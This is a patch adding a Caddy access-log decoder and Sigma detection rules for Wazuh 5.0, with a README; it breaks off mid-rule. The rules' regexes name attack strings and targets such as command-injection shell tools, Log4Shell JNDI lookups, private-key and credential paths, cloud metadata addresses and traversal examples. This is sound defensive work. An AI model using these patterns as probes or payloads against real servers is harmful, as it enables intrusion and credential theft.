From b2b7c8c4cd24d9d52b8eb12867e2c239a4a32696 Mon Sep 17 00:00:00 2001
From: newklei <magmacicada@proton.me>
Date: Tue, 14 Jul 2026 00:59:54 -0400
Subject: [PATCH 1/5] Add Caddy web server decoder and detection rules for
 Wazuh 5.0

---
 integrations/caddy/README.md                  | 109 ++++++++++++++++++
 .../decoders/decoder_caddy-access_0.yml       |  41 +++++++
 .../rules/rule_996004_sql-injection.yml       |  24 ++++
 .../rule_996005_sensitive-path-probe.yml      |  24 ++++
 .../caddy/ruleset/rules/rule_996008_xss.yml   |  24 ++++
 .../rules/rule_996009_command-injection.yml   |  24 ++++
 .../rules/rule_996010_known-scanner-tool.yml  |  24 ++++
 .../rules/rule_996011_trace-track-method.yml  |  24 ++++
 .../rules/rule_996012_log4shell-jndi.yml      |  24 ++++
 .../rule_996013_sensitive-file-access.yml     |  24 ++++
 ...rule_996014_credential-key-file-access.yml |  24 ++++
 .../rules/rule_996015_backup-db-dump.yml      |  24 ++++
 .../rule_996016_source-control-artifact.yml   |  24 ++++
 .../rules/rule_996017_app-log-file-access.yml |  24 ++++
 .../rules/rule_996020_suspicious-filename.yml |  24 ++++
 .../rule_996021_auth-endpoint-access.yml      |  22 ++++
 .../rules/rule_996023_encoding-evasion.yml    |  24 ++++
 .../ruleset/rules/rule_996024_lfi-rfi.yml     |  24 ++++
 .../caddy/ruleset/rules/rule_996025_ssrf.yml  |  24 ++++
 .../rule_996026_graphql-introspection.yml     |  24 ++++
 .../rules/rule_996027_unusual-http-method.yml |  24 ++++
 .../rule_996028_suspicious-user-agent.yml     |  24 ++++
 .../rule_996029_dangerous-file-upload.yml     |  24 ++++
 .../rules/rule_996030_oversized-uri.yml       |  24 ++++
 .../rule_996031_double-extension-bypass.yml   |  24 ++++
 .../rule_996032_archive-macro-upload.yml      |  24 ++++
 integrations/caddy/sample_logs.txt            |   7 ++
 27 files changed, 731 insertions(+)
 create mode 100644 integrations/caddy/README.md
 create mode 100644 integrations/caddy/ruleset/decoders/decoder_caddy-access_0.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996004_sql-injection.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996005_sensitive-path-probe.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996008_xss.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996009_command-injection.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996010_known-scanner-tool.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996011_trace-track-method.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996012_log4shell-jndi.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996013_sensitive-file-access.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996014_credential-key-file-access.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996015_backup-db-dump.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996016_source-control-artifact.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996017_app-log-file-access.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996020_suspicious-filename.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996021_auth-endpoint-access.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996023_encoding-evasion.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996024_lfi-rfi.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996025_ssrf.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996026_graphql-introspection.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996027_unusual-http-method.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996028_suspicious-user-agent.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996029_dangerous-file-upload.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996030_oversized-uri.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996031_double-extension-bypass.yml
 create mode 100644 integrations/caddy/ruleset/rules/rule_996032_archive-macro-upload.yml
 create mode 100644 integrations/caddy/sample_logs.txt

diff --git a/integrations/caddy/README.md b/integrations/caddy/README.md
new file mode 100644
index 0000000..86ca97c
--- /dev/null
+++ b/integrations/caddy/README.md
@@ -0,0 +1,109 @@
+# Caddy-Wazuh Integration
+
+## Table of Contents
+
+* [Introduction](#introduction)
+* [Prerequisites](#prerequisites)
+* [Installation and Configuration](#installation-and-configuration)
+    * [Installing Caddy](#installing-caddy)
+    * [Initial Caddy Configuration](#initial-caddy-configuration)
+    * [Installing Wazuh (if applicable)](#installing-wazuh-if-applicable)
+    * [Initial Wazuh Configuration (if applicable)](#initial-wazuh-configuration-if-applicable)
+    * [Using the Integration Files](#using-the-integration-files)
+* [Integration Steps](#integration-steps)
+* [Integration Testing](#integration-testing)
+* [Sources](#sources)
+
+---
+
+### Introduction
+
+Caddy (caddyserver.com) is a modern open source web server with automatic HTTPS. It writes structured JSON access logs by default with no extra configuration needed, and there was no coverage for it in the Wazuh ruleset. This integration adds a decoder and a set of Sigma format detection rules for Wazuh 5.0, parsing Caddy's JSON access logs into ECS fields and catching common web attacks and recon activity, things like path traversal, SQL injection, XSS, Log4Shell, credential file access, and dangerous file uploads.
+
+A parallel version of this integration for Wazuh 4.x (XML decoder and rules) is available in a separate branch/PR of this repository.
+
+---
+
+### Prerequisites
+
+* Wazuh manager 5.0 beta2 or later, the ruleset format described here is specific to the new engine introduced in 5.0
+* Caddy web server configured to write JSON access logs
+
+---
+
+### Installation and Configuration
+
+#### Installing Caddy
+
+Follow the official installation guide at https://caddyserver.com/docs/install for your platform.
+
+#### Initial Caddy Configuration
+
+Caddy needs to be told to write JSON access logs. Add this to your Caddyfile:
+
+```
+{
+    log {
+        format json
+    }
+}
+```
+
+A sample log line looks like this:
+
+```json
+{"level":"info","ts":1700000000.0,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"10.0.0.1","remote_port":"12345","proto":"HTTP/1.1","method":"GET","host":"example.com","uri":"/","headers":{"User-Agent":["Mozilla/5.0"]}},"status":200,"size":1024,"duration":0.002}
+```
+
+#### Installing Wazuh (if applicable)
+
+A standard Wazuh 5.0 beta installation is assumed. See the beta documentation at https://documentation.wazuh.com/5.0-beta/getting-started/index.html.
+
+#### Initial Wazuh Configuration (if applicable)
+
+No special manager configuration is needed beyond registering the decoder and rules described below and pointing the agent at the Caddy log file.
+
+#### Using the Integration Files
+
+In 5.0, decoders and rules are authored as YAML assets rather than XML, and rules follow the Sigma rule specification (https://github.com/SigmaHQ/sigma-specification). The easiest way to add this integration is through the dashboard's Security Analytics section, under Normalization and Detection, both have a Create option with a YAML editor.
+
+* `ruleset/decoders/decoder_caddy-access_0.yml`, paste into Normalization, Decoders, Create, YAML Editor. Set its parent integration to a new or existing `caddy` integration.
+* `ruleset/rules/*.yml`, each file is one rule, paste into Detection, Rules, Create, YAML Editor, same `caddy` integration.
+
+Once added, content should be promoted from the Draft space through Test and into Custom or Standard depending on your review process, so it is picked up by live detection.
+
+---
+
+### Integration Steps
+
+Once Caddy is writing JSON logs and the agent is forwarding them, every request Caddy handles becomes a log event. The decoder recognizes the `http.log.access` logger field and maps the request into ECS fields (`source.ip`, `url.original`, `http.request.method`, `http.response.status_code`, `user_agent.original`, and so on). The rules then match against those ECS fields and raise an alert when a known attack or recon pattern is found.
+
+A request like `GET /../../../../etc/passwd` gets caught by the path traversal rule, and a request containing `${jndi:ldap://...}` gets caught by the Log4Shell rule.
+
+---
+
+### Integration Testing
+
+This was verified using the Wazuh 5.0 beta2 dashboard's Log test tool (Security Analytics, Log test). Custom content was authored in the Draft space and promoted to the Test space before running it against sample logs, since Draft content alone is not evaluated by Log test.
+
+Running the path traversal sample log through Log test produces a decoded event with all ECS fields populated correctly, and the Detection tab shows the corresponding rule matched, alongside the other rules evaluated against the same log.
+
+The remaining rules in `ruleset/rules/` were built the same way and follow the same pattern, each targets one field (mostly `url.original`, occasionally `user_agent.original` or `http.request.method`) with a regex modifier.
+
+Three rules from the original Wazuh 4.x ruleset (repeated auth endpoint hits, repeated sensitive path probes, repeated path traversal attempts) rely on frequency and correlation logic across multiple events rather than a single log line, and are not included here as Sigma rules. That kind of correlation looks like it belongs in the dashboard's Detectors feature instead, which is still to be worked out and would follow in a later update.
+
+---
+
+### Sources
+
+* Caddy JSON access log format, https://caddyserver.com/docs/logging
+* Sigma rule specification, https://github.com/SigmaHQ/sigma-specification
+* MITRE ATT&CK, https://attack.mitre.org/
+
+## Provenance and Maintenance
+
+* Original source, ported from a Wazuh 4.x XML decoder and ruleset I wrote for the same Caddy log format, adapted to the 5.0 YAML and Sigma format.
+* Adapted by, Anmol Vats (GitHub: NucleiAv)
+* Tested versions, Wazuh 5.0.0 beta2, current Caddy JSON access log format as documented at caddyserver.com/docs/logging
+* Maintainer, Anmol Vats (GitHub: NucleiAv)
+* Support boundary, community maintained, provided as is, format may need updates as the 5.0 engine moves past beta
diff --git a/integrations/caddy/ruleset/decoders/decoder_caddy-access_0.yml b/integrations/caddy/ruleset/decoders/decoder_caddy-access_0.yml
new file mode 100644
index 0000000..92ab106
--- /dev/null
+++ b/integrations/caddy/ruleset/decoders/decoder_caddy-access_0.yml
@@ -0,0 +1,41 @@
+name: decoder/caddy-access/0
+enabled: true
+metadata:
+  title: Caddy Access Log Decoder
+  description: Decodes Caddy web server structured JSON access logs
+  author: Anmol Vats
+  references: []
+  documentation: 'https://caddyserver.com/docs/json/apps/http/servers/logs/'
+  supports: []
+
+parents:
+  - decoder/core-wazuh-message/0
+
+check: string_equal($_tmp_json.logger, "http.log.access")
+
+normalize:
+  - map:
+      - event.kind: event
+      - event.category: array_append(web)
+      - event.type: array_append(access)
+      - event.action: http-request
+      - event.dataset: caddy-access
+      - service.type: caddy
+      - source.ip: $_tmp_json.request.remote_ip
+      - source.address: $_tmp_json.request.remote_ip
+      - http.request.method: $_tmp_json.request.method
+      - url.original: $_tmp_json.request.uri
+      - destination.domain: $_tmp_json.request.host
+      - http.response.status_code: $_tmp_json.status
+      - http.response.body.bytes: $_tmp_json.size
+      - event.duration: $_tmp_json.duration
+      - network.protocol: $_tmp_json.request.proto
+      - user_agent.original: $_tmp_json.request.headers.User-Agent.0
+  - check: int_less($http.response.status_code, 400)
+    map:
+      - event.outcome: success
+  - check: int_greater_or_equal($http.response.status_code, 400)
+    map:
+      - event.outcome: failure
+  - map:
+      - _tmp_json: delete()
diff --git a/integrations/caddy/ruleset/rules/rule_996004_sql-injection.yml b/integrations/caddy/ruleset/rules/rule_996004_sql-injection.yml
new file mode 100644
index 0000000..32d88db
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996004_sql-injection.yml
@@ -0,0 +1,24 @@
+id: '7f3a1c2e-4b6d-4e91-9a2f-1d8c6b3e0a17'
+logsource:
+  product: caddy
+tags:
+  - attack.initial-access
+  - attack.t1190
+falsepositives:
+  - Legitimate content containing SQL-like keywords in search or content fields
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy SQL Injection Attempt
+  author: Anmol Vats
+  description: Detects SQL injection patterns (UNION SELECT, OR 1=1, etc.) in the request URI.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(union.+select|select.+from|insert.+into|drop.+table|(%27|'')(\s|%20)*(or)(\s|%20)+|(\s|%20)(or)(\s|%20)+1(\s|%20)*(%3D|=)(\s|%20)*1)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996005_sensitive-path-probe.yml b/integrations/caddy/ruleset/rules/rule_996005_sensitive-path-probe.yml
new file mode 100644
index 0000000..923dd76
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996005_sensitive-path-probe.yml
@@ -0,0 +1,24 @@
+id: '2c9e4f1a-8b3d-4c72-b1e6-3f7a9d2c5e04'
+logsource:
+  product: caddy
+tags:
+  - attack.reconnaissance
+  - attack.t1595
+falsepositives:
+  - Vulnerability scanning performed by authorized security teams
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Sensitive Path Probe
+  author: Anmol Vats
+  description: Detects probing of common sensitive paths such as .env, .git, wp-admin, phpmyadmin.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\/\.env$|\/\.git|\/wp-admin|\/phpmyadmin|\/admin\.php|\/config\.php|\/backup)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996008_xss.yml b/integrations/caddy/ruleset/rules/rule_996008_xss.yml
new file mode 100644
index 0000000..0625cb6
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996008_xss.yml
@@ -0,0 +1,24 @@
+id: 'e6d2a4f8-1c3b-4a95-8e7d-2b6f9a1c3d58'
+logsource:
+  product: caddy
+tags:
+  - attack.execution
+  - attack.t1059.007
+falsepositives:
+  - Legitimate pages containing script-related keywords in content
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy XSS Attempt in URI
+  author: Anmol Vats
+  description: Detects cross-site scripting payloads in the request URI.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(%3Cscript|<script|javascript:|onerror=|onload=|alert\(|document\.cookie|eval\()'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996009_command-injection.yml b/integrations/caddy/ruleset/rules/rule_996009_command-injection.yml
new file mode 100644
index 0000000..4eb95b0
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996009_command-injection.yml
@@ -0,0 +1,24 @@
+id: '9a3f2e1d-6c4b-4d87-a1f3-5e8b2c9a6d17'
+logsource:
+  product: caddy
+tags:
+  - attack.execution
+  - attack.t1059
+falsepositives:
+  - Rare, verify against legitimate application behavior
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Command Injection Attempt
+  author: Anmol Vats
+  description: Detects shell metacharacters combined with common OS commands in the request URI.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(%7C|%60|\||\`).*?(ls|id|whoami|cat\s|wget\s|curl\s|bash|/bin/sh|cmd\.exe)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996010_known-scanner-tool.yml b/integrations/caddy/ruleset/rules/rule_996010_known-scanner-tool.yml
new file mode 100644
index 0000000..0b511a2
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996010_known-scanner-tool.yml
@@ -0,0 +1,24 @@
+id: '4b7d1e9c-3a2f-4b65-9d8e-1c4a7f2e6b30'
+logsource:
+  product: caddy
+tags:
+  - attack.reconnaissance
+  - attack.t1595
+falsepositives:
+  - Authorized penetration testing or vulnerability scanning
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Known Attack/Scanner Tool Detected
+  author: Anmol Vats
+  description: Detects User-Agent strings belonging to common attack/scanning tools.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    user_agent.original|re: '(?i)(sqlmap|nikto|nmap|masscan|nuclei|gobuster|dirbuster|wfuzz|acunetix|nessus|openvas|zgrab|whatweb)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996011_trace-track-method.yml b/integrations/caddy/ruleset/rules/rule_996011_trace-track-method.yml
new file mode 100644
index 0000000..b5677cd
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996011_trace-track-method.yml
@@ -0,0 +1,24 @@
+id: 'c1a9e3f2-7b5d-4c48-a2e6-9d3f1b8c4a56'
+logsource:
+  product: caddy
+tags:
+  - attack.initial-access
+  - attack.t1190
+falsepositives:
+  - Rare, TRACE/TRACK are not commonly used legitimately
+level: medium
+status: experimental
+enabled: true
+metadata:
+  title: Caddy HTTP TRACE/TRACK Method
+  author: Anmol Vats
+  description: Detects HTTP TRACE or TRACK methods, potentially indicating a cross-site tracing attempt.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    http.request.method|re: '^(TRACE|TRACK)$'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996012_log4shell-jndi.yml b/integrations/caddy/ruleset/rules/rule_996012_log4shell-jndi.yml
new file mode 100644
index 0000000..10d4074
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996012_log4shell-jndi.yml
@@ -0,0 +1,24 @@
+id: '3e8f2a1c-9d4b-4e76-b1a3-6c2e9f5d8b04'
+logsource:
+  product: caddy
+tags:
+  - attack.initial-access
+  - attack.t1190
+falsepositives:
+  - Very rare, this pattern is almost always malicious
+level: critical
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Log4Shell JNDI Injection Attempt
+  author: Anmol Vats
+  description: Detects JNDI lookup patterns associated with Log4Shell (CVE-2021-44228) exploitation attempts.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\$\{jndi:|%24%7Bjndi%3A|%24%7Bjndi:)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996013_sensitive-file-access.yml b/integrations/caddy/ruleset/rules/rule_996013_sensitive-file-access.yml
new file mode 100644
index 0000000..054893f
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996013_sensitive-file-access.yml
@@ -0,0 +1,24 @@
+id: '8d4c2f1e-6a3b-4d59-9e7a-2f1c8b4d3a67'
+logsource:
+  product: caddy
+tags:
+  - attack.discovery
+  - attack.t1083
+falsepositives:
+  - Vulnerability scanning by authorized security teams
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Sensitive File Access Attempt
+  author: Anmol Vats
+  description: Detects access attempts to sensitive files such as xmlrpc.php, .htaccess, wp-config.php, /etc/shadow.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\/xmlrpc\.php|\/\.htaccess|\/\.htpasswd|\/wp-config\.php|\/config\.php|\/backup|\/dump\.sql|\/proc\/self|\/etc\/shadow)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996014_credential-key-file-access.yml b/integrations/caddy/ruleset/rules/rule_996014_credential-key-file-access.yml
new file mode 100644
index 0000000..6dbfd3f
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996014_credential-key-file-access.yml
@@ -0,0 +1,24 @@
+id: '1f7a3e9c-4b2d-4c83-a6e1-9d5f2c8a4b30'
+logsource:
+  product: caddy
+tags:
+  - attack.credential-access
+  - attack.t1552.001
+falsepositives:
+  - Rare, this pattern targets credential material specifically
+level: critical
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Credential or Private Key File Access
+  author: Anmol Vats
+  description: Detects access attempts to credential files, private keys, and secrets (id_rsa, credentials.json, .pem, etc.).
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\/\.env(\.|$|\/)|\/id_rsa|\/id_dsa|\/id_ed25519|\/id_ecdsa|credentials?\.json|credentials?\.xml|secrets?\.json|secrets?\.ya?ml|jwt\.(pem|secret)|private\.key|oauth\.json|token\.json|authorized_keys|known_hosts|\.p12$|\.pfx$|\.pem$|\.key$)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996015_backup-db-dump.yml b/integrations/caddy/ruleset/rules/rule_996015_backup-db-dump.yml
new file mode 100644
index 0000000..e789957
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996015_backup-db-dump.yml
@@ -0,0 +1,24 @@
+id: '6c2e9f4a-1d8b-4a75-8c3e-4b7a9f1d2e56'
+logsource:
+  product: caddy
+tags:
+  - attack.collection
+  - attack.t1530
+falsepositives:
+  - Legitimate backup file serving in some deployments
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Backup or Database Dump File Access
+  author: Anmol Vats
+  description: Detects access to backup, dump, or database files (.bak, .sql, .db, .tar.gz, etc.).
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)\.(bak|backup|old|orig|save|swp|sql|dump|sqlite|db|mdb|tar\.gz|tar\.bz2|tgz|7z|rar)(\?|$)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996016_source-control-artifact.yml b/integrations/caddy/ruleset/rules/rule_996016_source-control-artifact.yml
new file mode 100644
index 0000000..826866c
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996016_source-control-artifact.yml
@@ -0,0 +1,24 @@
+id: 'a4b8d1f3-9c2e-4d67-8a1f-3e6c9b4d7a02'
+logsource:
+  product: caddy
+tags:
+  - attack.collection
+  - attack.t1213
+falsepositives:
+  - Rare, source control directories should not be web-accessible
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Source Control Artifact Access
+  author: Anmol Vats
+  description: Detects access attempts to exposed .git, .svn, or .hg directories.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\/\.git(\/|$)|\/\.svn\/|\/\.hg\/|\/\.gitignore|\/\.gitattributes|\/\.gitmodules)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996017_app-log-file-access.yml b/integrations/caddy/ruleset/rules/rule_996017_app-log-file-access.yml
new file mode 100644
index 0000000..583b72a
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996017_app-log-file-access.yml
@@ -0,0 +1,24 @@
+id: 'f2e9c4a1-3d7b-4e58-9f2a-6c1e8d4b3a75'
+logsource:
+  product: caddy
+tags:
+  - attack.discovery
+  - attack.t1083
+falsepositives:
+  - Legitimate log file serving in some deployments
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Application Log File Access
+  author: Anmol Vats
+  description: Detects access attempts to application/error/debug log files.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)\/(error|access|debug|app|application|server|system|audit|exception)\.(log|txt|out)(\?|$)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996020_suspicious-filename.yml b/integrations/caddy/ruleset/rules/rule_996020_suspicious-filename.yml
new file mode 100644
index 0000000..61bab2e
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996020_suspicious-filename.yml
@@ -0,0 +1,24 @@
+id: '5b1e8a3f-6c4d-4a92-8e1c-9f3a6b2d5e17'
+logsource:
+  product: caddy
+tags:
+  - attack.discovery
+  - attack.t1083
+falsepositives:
+  - Legitimate files whose name happens to contain these keywords
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Request for Suspicious Filename
+  author: Anmol Vats
+  description: Detects requests for files with names suggesting sensitive content (password, secret, apikey, etc.).
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)\/(password|passwd|secret|confidential|credential|private|token|apikey|api[_-]key|auth)[^/]*(\.[a-z]{1,5})?$'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996021_auth-endpoint-access.yml b/integrations/caddy/ruleset/rules/rule_996021_auth-endpoint-access.yml
new file mode 100644
index 0000000..420a6c4
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996021_auth-endpoint-access.yml
@@ -0,0 +1,22 @@
+id: '9d3f6a1c-2e8b-4c47-a1e6-3b9f2c8d4a05'
+logsource:
+  product: caddy
+tags: []
+falsepositives:
+  - Normal user login activity — this rule is primarily a building block for brute-force detection
+level: low
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Authentication Endpoint Access
+  author: Anmol Vats
+  description: Detects access to common authentication/login endpoints.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)\/(login|signin|sign-in|logon|auth|authenticate|wp-login\.php|admin\/login|account\/login|session\/new|user\/login|api\/login|api\/auth|oauth\/token|token)(\/|\?|$)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996023_encoding-evasion.yml b/integrations/caddy/ruleset/rules/rule_996023_encoding-evasion.yml
new file mode 100644
index 0000000..3334574
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996023_encoding-evasion.yml
@@ -0,0 +1,24 @@
+id: '2a7c4e9f-8b3d-4d61-9e2a-1c6f8a4b3e70'
+logsource:
+  product: caddy
+tags:
+  - attack.defense-evasion
+  - attack.t1027
+falsepositives:
+  - Very rare, these encodings are almost always evasion attempts
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Encoding Evasion / WAF Bypass Attempt
+  author: Anmol Vats
+  description: Detects unusual/double URL-encoding patterns commonly used to evade WAFs and path-traversal filters.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(%c0%ae|%c0%2f|%c1%9c|%uff0e|%u2215|%u002f|%252f|%255c|\.\.%ef%bc%8f|\.\.%c0%af)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996024_lfi-rfi.yml b/integrations/caddy/ruleset/rules/rule_996024_lfi-rfi.yml
new file mode 100644
index 0000000..f4a30dd
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996024_lfi-rfi.yml
@@ -0,0 +1,24 @@
+id: 'd4f8e2a1-6c9b-4a53-8f1e-2d7a9c4b3e68'
+logsource:
+  product: caddy
+tags:
+  - attack.initial-access
+  - attack.t1190
+falsepositives:
+  - Applications that legitimately use php:// or file:// style parameters
+level: critical
+status: experimental
+enabled: true
+metadata:
+  title: Caddy LFI/RFI File Inclusion Attempt
+  author: Anmol Vats
+  description: Detects local/remote file inclusion attempts via php wrappers and similar schemes.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(php://|phar://|data://|expect://|zip://|glob://|file://|gopher://|dict://|\.(php|phtml|phar)\b.*=)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996025_ssrf.yml b/integrations/caddy/ruleset/rules/rule_996025_ssrf.yml
new file mode 100644
index 0000000..03cf6da
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996025_ssrf.yml
@@ -0,0 +1,24 @@
+id: '7e2c9a4f-1d8b-4e36-a3f2-6c9e1a8d4b57'
+logsource:
+  product: caddy
+tags:
+  - attack.command-and-control
+  - attack.t1090
+falsepositives:
+  - Legitimate internal integrations that reference internal hostnames in parameters
+level: critical
+status: experimental
+enabled: true
+metadata:
+  title: Caddy SSRF Attempt Targeting Internal Resource
+  author: Anmol Vats
+  description: Detects SSRF attempts targeting cloud metadata endpoints or internal/private network addresses.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(169\.254\.169\.254|metadata\.google\.internal|metadata/instance|169\.254\.170\.2|100\.100\.100\.200|[?&][^&]*=https?://(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|localhost)|[?&][^&]*=https?://[^/]*\.(internal|local|corp|intranet))'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996026_graphql-introspection.yml b/integrations/caddy/ruleset/rules/rule_996026_graphql-introspection.yml
new file mode 100644
index 0000000..b6025c4
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996026_graphql-introspection.yml
@@ -0,0 +1,24 @@
+id: '3f9a1c6e-4b8d-4c72-9e1a-8f3c6a2d5e04'
+logsource:
+  product: caddy
+tags:
+  - attack.reconnaissance
+  - attack.t1595.002
+falsepositives:
+  - Legitimate GraphQL client tooling during development
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy GraphQL Introspection or API Schema Probe
+  author: Anmol Vats
+  description: Detects GraphQL introspection queries and schema probing attempts.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\/graphql|\/graphiql|\/gql|__schema|__type|__typename|introspectionquery)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996027_unusual-http-method.yml b/integrations/caddy/ruleset/rules/rule_996027_unusual-http-method.yml
new file mode 100644
index 0000000..6361ac3
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996027_unusual-http-method.yml
@@ -0,0 +1,24 @@
+id: 'b8e4a2f1-9c3d-4d65-8e1a-4f6c2b9d3a70'
+logsource:
+  product: caddy
+tags:
+  - attack.initial-access
+  - attack.t1190
+falsepositives:
+  - WebDAV-enabled applications legitimately using PROPFIND/MKCOL/LOCK
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Unusual or Dangerous HTTP Method
+  author: Anmol Vats
+  description: Detects unusual or dangerous HTTP methods (CONNECT, DEBUG, PROPFIND, FUZZ, etc.).
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
